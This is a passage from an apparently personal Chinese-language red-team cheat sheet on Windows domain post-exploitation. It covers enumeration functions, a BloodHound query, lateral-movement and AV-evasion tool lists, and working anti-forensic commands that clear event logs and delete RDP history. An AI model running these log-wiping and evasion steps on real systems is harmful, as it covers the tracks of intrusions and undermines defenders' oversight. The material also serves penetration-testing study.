  • Get-NetLocalServices - gets a list of running services / paths on a remote host or hosts
  • Invoke-NetGroupuserAdd - adds a user to a specified local or domain group
  • Get-NetComputers - gets a list of all current servers in the domain
  • Get-NetFileServers - get a list of file servers used by current domain user
  • Get-NetShare - gets share information for a specified server
  • Get-NetLoggedon - gets users actively logged onto a specified server
  • Get-NetSessions - gets active sessions on a specified server
  • Get-NetFileSessions - returned combined Get-NetSessions and Get-NetFiles
  • Get-NetConnections - gets active connections to a specific server resource (share)
  • Get-NetFiles - gets open files on a server
  • Get-NetProcesses - gets the remote processes and owners on a remote server

BloodHound

  • 獲取某 OU 下所有機器情資
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    {
    "name": "Find the specified OU computers",
    "queryList": [
    {
    "final": false,
    "title": "Select a OU...",
    "query": "MATCH (n:OU) RETURN distinct n.name ORDER BY n.name DESC"
    {
    "final": true,
    "query": "MATCH (m:OU {name:$result}) with m MATCH p=(o:OU {objectid: m.objectid})-[r:Contains*1..]->(n:Computer) RETURN p",
    "allowCollapse": true,
    "endNode": "{}"
    }
    }
    ]
    }
  • 自動標記 owned 用戶級機器
  • 獲取域內 DNS 情資

獲取域控的方法

AD 持久化

其他

TIPS

相關工具

在遠端系統上執行程序

  • At
  • Psexec
  • WMIC
  • Wmiexec
  • Smbexec
  • Powershell remoting
  • DCOM
  • Winrm

IoT 相關

  1. 路由器 routersploit
  2. 印表機 PRET
  3. IoT exp
  4. 相關 OWASP-Nettacker

規避防毒及檢測

Bypass Applocker

bypassAV

  • Empire
  • PEspin
  • Shellter
  • Ebowla
  • Veil
  • PowerShell
  • Python 程式碼注入技術
  • Process Doppelgänging

0x07 痕跡清除

Windows 日誌清除

  • 渗透技巧——Windows日志的删除与绕过
  • 獲取日誌分類列表
    1
    wevtutil el >1.txt
  • 獲取單個日誌類別的統計訊息
    • e.g.
      1
      wevtutil gli "windows powershell"
    • 回應
      1
      2
      3
      4
      5
      6
      7
      creationTime: 2016-11-28T06:01:37.986Z
      lastAccessTime: 2016-11-28T06:01:37.986Z
      lastWriteTime: 2017-08-08T08:01:20.979Z
      fileSize: 1118208
      attributes: 32
      numberOfLogRecords: 1228
      oldestRecordNumber:1
  • 查看指定日誌的具體內容
    1
    wevtutil qe /f:text "windows powershell"
  • 刪除單一日誌的具體內容
    1
    wevtutil cl "windows powershell"

破壞 Windows 日誌紀錄功能

msf

1
2
3
> run
> clearlogs
> clearev

3389 登入紀錄清除

1
2
3
4
@ echo off
@ reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
@ del %USERPROFILE%\My Documents\Default.rdp" /a
@ exit
  • Copyrights © 2019-2021 NIghTcAt

請我喝杯咖啡吧~